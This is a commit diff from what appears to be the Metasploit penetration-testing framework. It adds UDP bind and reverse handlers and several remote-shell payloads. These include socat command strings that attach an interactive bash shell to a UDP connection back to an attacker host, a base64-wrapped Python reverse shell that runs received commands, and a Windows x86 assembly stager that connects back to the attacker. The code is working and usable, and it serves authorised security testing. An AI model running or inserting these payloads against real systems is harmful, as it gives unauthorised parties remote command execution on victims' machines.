Land #7699, Add UDP handlers and payloads (redux)
parent
f281b45384
commit
aecc1f143f
|
@ -0,0 +1,208 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This module implements the Bind TCP handler. This means that
|
||||
# it will attempt to connect to a remote host on a given port for a period of
|
||||
# time (typically the duration of an exploit) to see if a the payload has
|
||||
# started listening. This can tend to be rather verbose in terms of traffic
|
||||
# and in general it is preferable to use reverse payloads.
|
||||
#
|
||||
###
|
||||
module BindUdp
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
#
|
||||
# Returns the handler specific string representation, in this case
|
||||
# 'bind_tcp'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "bind_udp"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection oriented general handler type, in this case bind.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"bind"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes a bind handler and adds the options common to all bind
|
||||
# payloads, such as local port.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::LPORT(4444),
|
||||
OptAddress.new('RHOST', [false, 'The target address', '']),
|
||||
], Msf::Handler::BindUdp)
|
||||
|
||||
self.conn_threads = []
|
||||
self.listener_threads = []
|
||||
self.listener_pairs = {}
|
||||
end
|
||||
|
||||
#
|
||||
# Kills off the connection threads if there are any hanging around.
|
||||
#
|
||||
def cleanup_handler
|
||||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each { |thr|
|
||||
thr.kill
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Starts a new connecting thread
|
||||
#
|
||||
def add_handler(opts={})
|
||||
|
||||
# Merge the updated datastore values
|
||||
opts.each_pair do |k,v|
|
||||
datastore[k] = v
|
||||
end
|
||||
|
||||
# Start a new handler
|
||||
start_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an outbound connection to become established.
|
||||
#
|
||||
def start_handler
|
||||
|
||||
# Maximum number of seconds to run the handler
|
||||
ctimeout = 150
|
||||
|
||||
# Maximum number of seconds to await initial udp response
|
||||
rtimeout = 5
|
||||
|
||||
if (exploit_config and exploit_config['active_timeout'])
|
||||
ctimeout = exploit_config['active_timeout'].to_i
|
||||
end
|
||||
|
||||
# Take a copy of the datastore options
|
||||
rhost = datastore['RHOST']
|
||||
lport = datastore['LPORT']
|
||||
|
||||
# Ignore this if one of the required options is missing
|
||||
return if not rhost
|
||||
return if not lport
|
||||
|
||||
# Only try the same host/port combination once
|
||||
phash = rhost + ':' + lport.to_s
|
||||
return if self.listener_pairs[phash]
|
||||
self.listener_pairs[phash] = true
|
||||
|
||||
# Start a new handling thread
|
||||
self.listener_threads << framework.threads.spawn("BindUdpHandlerListener-#{lport}", false) {
|
||||
client = nil
|
||||
|
||||
print_status("Started bind handler")
|
||||
|
||||
if (rhost == nil)
|
||||
raise ArgumentError,
|
||||
"RHOST is not defined; bind stager cannot function.",
|
||||
caller
|
||||
end
|
||||
|
||||
stime = Time.now.to_i
|
||||
|
||||
while (stime + ctimeout > Time.now.to_i)
|
||||
begin
|
||||
client = Rex::Socket::Udp.create(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => lport.to_i,
|
||||
'Proxies' => datastore['Proxies'],
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => self,
|
||||
'MsfExploit' => assoc_exploit
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
# Connection refused is a-okay
|
||||
rescue ::Exception
|
||||
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
|
||||
end
|
||||
|
||||
client.extend(Rex::IO::Stream)
|
||||
begin
|
||||
# If a connection was acknowledged, request a basic response before promoting as a session
|
||||
if client
|
||||
message = 'syn'
|
||||
client.write("echo #{message}\n")
|
||||
response = client.get(rtimeout)
|
||||
break if response && response.include?(message)
|
||||
client.close()
|
||||
client = nil
|
||||
end
|
||||
rescue Errno::ECONNREFUSED
|
||||
client.close()
|
||||
client = nil
|
||||
wlog("Connection failed in udp bind handler continuing attempts: #{$!.class} #{$!}")
|
||||
end
|
||||
|
||||
# Wait a second before trying again
|
||||
Rex::ThreadSafe.sleep(0.5)
|
||||
end
|
||||
|
||||
# Valid client connection?
|
||||
if (client)
|
||||
# Increment the has connection counter
|
||||
self.pending_connections += 1
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:udp_session => true
|
||||
}
|
||||
|
||||
# Start a new thread and pass the client connection
|
||||
# as the input and output pipe. Client's are expected
|
||||
# to implement the Stream interface.
|
||||
conn_threads << framework.threads.spawn("BindUdpHandlerSession", false, client) { |client_copy|
|
||||
begin
|
||||
handle_connection(client_copy, opts)
|
||||
rescue
|
||||
elog("Exception raised from BindUdp.handle_connection: #{$!}")
|
||||
end
|
||||
}
|
||||
else
|
||||
wlog("No connection received before the handler completed")
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Nothing to speak of.
|
||||
#
|
||||
def stop_handler
|
||||
# Stop the listener threads
|
||||
self.listener_threads.each do |t|
|
||||
t.kill
|
||||
end
|
||||
self.listener_threads = []
|
||||
self.listener_pairs = {}
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
attr_accessor :listener_threads # :nodoc:
|
||||
attr_accessor :listener_pairs # :nodoc:
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,264 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'thread'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This module implements the reverse TCP handler. This means
|
||||
# that it listens on a port waiting for a connection until
|
||||
# either one is established or it is told to abort.
|
||||
#
|
||||
# This handler depends on having a local host and port to
|
||||
# listen on.
|
||||
#
|
||||
###
|
||||
module ReverseUdp
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_tcp'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_udp"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'reverse'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"reverse"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the reverse TCP handler and ads the options that are required
|
||||
# for all reverse TCP payloads, like local host and local port.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::LHOST,
|
||||
Opt::LPORT(4444)
|
||||
], Msf::Handler::ReverseUdp)
|
||||
|
||||
# XXX: Not supported by all modules
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]),
|
||||
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
|
||||
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
|
||||
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
||||
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
|
||||
], Msf::Handler::ReverseUdp)
|
||||
|
||||
self.conn_threads = []
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the listener but does not actually attempt
|
||||
# to accept a connection. Throws socket exceptions
|
||||
# if it fails to start the listener.
|
||||
#
|
||||
def setup_handler
|
||||
ex = false
|
||||
|
||||
comm = case datastore['ReverseListenerComm'].to_s
|
||||
when "local"; ::Rex::Socket::Comm::Local
|
||||
when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i]
|
||||
else; nil
|
||||
end
|
||||
unless comm.is_a? ::Rex::Socket::Comm
|
||||
comm = nil
|
||||
end
|
||||
|
||||
local_port = bind_port
|
||||
addrs = bind_address
|
||||
|
||||
addrs.each { |ip|
|
||||
begin
|
||||
|
||||
self.listener_sock = Rex::Socket::Udp.create(
|
||||
'LocalHost' => ip,
|
||||
'LocalPort' => local_port,
|
||||
'Comm' => comm,
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => self,
|
||||
'MsfExploit' => assoc_exploit
|
||||
})
|
||||
|
||||
ex = false
|
||||
|
||||
comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip )
|
||||
comm_used = Rex::Socket::Comm::Local if comm_used == nil
|
||||
|
||||
if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) )
|
||||
via = "via the #{comm_used.type} on session #{comm_used.sid}"
|
||||
else
|
||||
via = ""
|
||||
end
|
||||
|
||||
print_status("Started reverse handler on #{ip}:#{local_port} #{via}")
|
||||
break
|
||||
rescue
|
||||
ex = $!
|
||||
print_error("Handler failed to bind to #{ip}:#{local_port}")
|
||||
end
|
||||
}
|
||||
raise ex if (ex)
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the listener socket if one was created.
|
||||
#
|
||||
def cleanup_handler
|
||||
stop_handler
|
||||
|
||||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each { |thr|
|
||||
thr.kill rescue nil
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an inbound connection.
|
||||
#
|
||||
def start_handler
|
||||
queue = ::Queue.new
|
||||
|
||||
local_port = bind_port
|
||||
|
||||
self.listener_thread = framework.threads.spawn("ReverseUdpHandlerListener-#{local_port}", false, queue) { |lqueue|
|
||||
loop do
|
||||
# Accept a client connection
|
||||
begin
|
||||
inbound, peerhost, peerport = self.listener_sock.recvfrom
|
||||
next if peerhost.nil?
|
||||
cli_opts = {
|
||||
'PeerPort' => peerport,
|
||||
'PeerHost' => peerhost,
|
||||
'LocalPort' => self.listener_sock.localport,
|
||||
'Comm' => self.listener_sock.respond_to?(:comm) ? self.listener_sock.comm : nil
|
||||
}
|
||||
|
||||
# unless ['::', '0.0.0.0'].any? {|alladdr| self.listener_sock.localhost == alladdr }
|
||||
# cli_opts['LocalHost'] = self.listener_sock.localhost
|
||||
# end
|
||||
|
||||
client = Rex::Socket.create_udp(cli_opts)
|
||||
client.extend(Rex::IO::Stream)
|
||||
if ! client
|
||||
wlog("ReverseUdpHandlerListener-#{local_port}: No client received in call to accept, exiting...")
|
||||
break
|
||||
end
|
||||
|
||||
self.pending_connections += 1
|
||||
lqueue.push([client,inbound])
|
||||
rescue ::Exception
|
||||
wlog("ReverseUdpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
||||
break
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
self.handler_thread = framework.threads.spawn("ReverseUdpHandlerWorker-#{local_port}", false, queue) { |cqueue|
|
||||
loop do
|
||||
begin
|
||||
client, inbound = cqueue.pop
|
||||
|
||||
if ! client
|
||||
elog("ReverseUdpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...")
|
||||
break
|
||||
end
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:udp_session => inbound
|
||||
}
|
||||
|
||||
if datastore['ReverseListenerThreaded']
|
||||
self.conn_threads << framework.threads.spawn("ReverseUdpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
|
||||
handle_connection(client_copy, opts)
|
||||
}
|
||||
else
|
||||
handle_connection(client, opts)
|
||||
end
|
||||
rescue ::Exception
|
||||
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Stops monitoring for an inbound connection.
|
||||
#
|
||||
def stop_handler
|
||||
# Terminate the listener thread
|
||||
if (self.listener_thread and self.listener_thread.alive? == true)
|
||||
self.listener_thread.kill
|
||||
self.listener_thread = nil
|
||||
end
|
||||
|
||||
# Terminate the handler thread
|
||||
if (self.handler_thread and self.handler_thread.alive? == true)
|
||||
self.handler_thread.kill
|
||||
self.handler_thread = nil
|
||||
end
|
||||
|
||||
if (self.listener_sock)
|
||||
self.listener_sock.close
|
||||
self.listener_sock = nil
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def bind_port
|
||||
port = datastore['ReverseListenerBindPort'].to_i
|
||||
port > 0 ? port : datastore['LPORT'].to_i
|
||||
end
|
||||
|
||||
def bind_address
|
||||
# Switch to IPv6 ANY address if the LHOST is also IPv6
|
||||
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
|
||||
# First attempt to bind LHOST. If that fails, the user probably has
|
||||
# something else listening on that interface. Try again with ANY_ADDR.
|
||||
any = (addr.length == 4) ? "0.0.0.0" : "::0"
|
||||
|
||||
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
|
||||
|
||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
# Only try to bind to this specific interface
|
||||
addrs = [ datastore['ReverseListenerBindAddress'] ]
|
||||
|
||||
# Pick the right "any" address if either wildcard is used
|
||||
addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0")
|
||||
end
|
||||
|
||||
addrs
|
||||
end
|
||||
|
||||
attr_accessor :listener_sock # :nodoc:
|
||||
attr_accessor :listener_thread # :nodoc:
|
||||
attr_accessor :handler_thread # :nodoc:
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -17,6 +17,12 @@ module Msf::Payload::TransportConfig
|
|||
config
|
||||
end
|
||||
|
||||
def transport_config_reverse_udp(upts={})
|
||||
config =transport_config_reverse_tcp(opts)
|
||||
config[:scheme] = 'udp'
|
||||
config
|
||||
end
|
||||
|
||||
def transport_config_reverse_ipv6_tcp(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
config = transport_config_reverse_tcp(opts)
|
||||
|
|
|
@ -0,0 +1,175 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/reverse_tcp'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_udp payload generation for Windows ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseUdp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseTcp
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_udp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_udp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_udp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_udp(opts)}
|
||||
#{asm_block_recv(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Fixnum] :retry_count Number of retry attempts
|
||||
#
|
||||
def asm_reverse_udp(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
|
||||
asm = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
reverse_udp:
|
||||
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 'ws2_' ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
set_address:
|
||||
push #{retry_count} ; retry counter
|
||||
|
||||
create_socket:
|
||||
push #{encoded_host} ; host in little-endian format - #{opts[:host]}
|
||||
push #{encoded_port} ; family AF_INET and port number - #{opts[:port]}
|
||||
mov esi, esp ; save pointer to sockaddr struct
|
||||
|
||||
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
inc eax ;
|
||||
push eax ; push SOCK_DGRAM (UDP socket)
|
||||
push eax ; push AF_INET
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_DGRAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
try_connect:
|
||||
push 16 ; length of the sockaddr struct
|
||||
push esi ; pointer to the sockaddr struct
|
||||
push edi ; the socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||
call ebp ; connect( s, &sockaddr, 16 );
|
||||
|
||||
test eax,eax ; non-zero means a failure
|
||||
jz connected
|
||||
|
||||
handle_connect_failure:
|
||||
; decrement our attempt count and try again
|
||||
dec [esi+8]
|
||||
jnz try_connect
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; this lable is required so that reconnect attempts include
|
||||
; the UUID stuff if required.
|
||||
connected:
|
||||
^
|
||||
|
||||
# UDP receivers need to read something from the new socket
|
||||
if include_send_uuid
|
||||
asm << asm_send_uuid
|
||||
else
|
||||
asm << asm_send_newline
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
def asm_send_newline
|
||||
newline = raw_to_db "\n"
|
||||
asm =%Q^
|
||||
send_newline:
|
||||
push 0 ; flags
|
||||
push #{newline.length} ; length of the newline
|
||||
call get_nl_address ; put newline buffer on the stack
|
||||
db #{newline} ; newline
|
||||
get_nl_address:
|
||||
push edi ; saved socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
|
||||
call ebp ; call send
|
||||
^
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -26,7 +26,8 @@ module Interactive
|
|||
# A nil is passed in the case of non-stream interactive sessions (Meterpreter)
|
||||
if rstream
|
||||
self.rstream = rstream
|
||||
self.ring = Rex::IO::RingBuffer.new(rstream, {:size => opts[:ring_size] || 100 })
|
||||
klass = opts[:udp_session] ? Rex::IO::RingBufferUdp : Rex::IO::RingBuffer
|
||||
self.ring = klass.new(rstream, {:size => opts[:ring_size] || 100 })
|
||||
end
|
||||
super()
|
||||
end
|
||||
|
@ -151,4 +152,3 @@ end
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/bind_udp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 70
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Bind UDP (via socat)',
|
||||
'Description' => 'Creates an interactive shell via socat',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::BindUdp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'socat',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
"socat udp-listen:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &"
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,51 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/reverse_udp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 87
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse UDP (via socat)',
|
||||
'Description' => 'Creates an interactive shell via socat',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseUdp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'socat',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
"socat udp-connect:#{datastore['LHOST']}:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &"
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,69 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/reverse_udp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 397
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Command Shell, Reverse UDP (via python)',
|
||||
'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseUdp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'python',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
cmd = ''
|
||||
dead = Rex::Text.rand_text_alpha(2)
|
||||
# Set up the socket
|
||||
cmd << "import socket,os\n"
|
||||
cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n"
|
||||
cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
|
||||
# The actual IO
|
||||
cmd << "#{dead}=False\n"
|
||||
cmd << "while not #{dead}:\n"
|
||||
cmd << "\tdata=so.recv(1024)\n"
|
||||
cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
|
||||
cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
|
||||
cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
|
||||
cmd << "\tso.send(stdout_value)\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
|
||||
|
||||
cmd
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core/handler/reverse_udp'
|
||||
require 'msf/core/payload/windows/reverse_udp'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 299
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::ReverseUdp
|
||||
|
||||
def self.handler_type_alias
|
||||
'reverse_udp'
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse UDP Stager with UUID Support',
|
||||
'Description' => 'Connect back to the attacker with UUID Support',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseUdp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Override the uuid function and opt-in for sending the
|
||||
# UUID in the stage.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
end
|
|
@ -578,6 +578,16 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'cmd/unix/bind_nodejs'
|
||||
end
|
||||
|
||||
context 'cmd/unix/bind_socat_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/cmd/unix/bind_socat_udp'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'cmd/unix/bind_socat_udp'
|
||||
end
|
||||
|
||||
context 'cmd/unix/bind_perl' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -768,6 +778,16 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'cmd/unix/reverse_openssl'
|
||||
end
|
||||
|
||||
context 'cmd/unix/reverse_socat_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/cmd/unix/reverse_socat_udp'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'cmd/unix/reverse_socat_udp'
|
||||
end
|
||||
|
||||
context 'cmd/unix/reverse_perl' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -1236,7 +1256,7 @@ RSpec.describe 'modules/payloads', :content do
|
|||
end
|
||||
|
||||
|
||||
context 'linux/armbe/shell_bind_tcp' do
|
||||
context 'linux/armbe/shell_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/linux/armbe/shell_bind_tcp'
|
||||
|
@ -2460,6 +2480,16 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'python/shell_reverse_tcp_ssl'
|
||||
end
|
||||
|
||||
context 'python/shell_reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
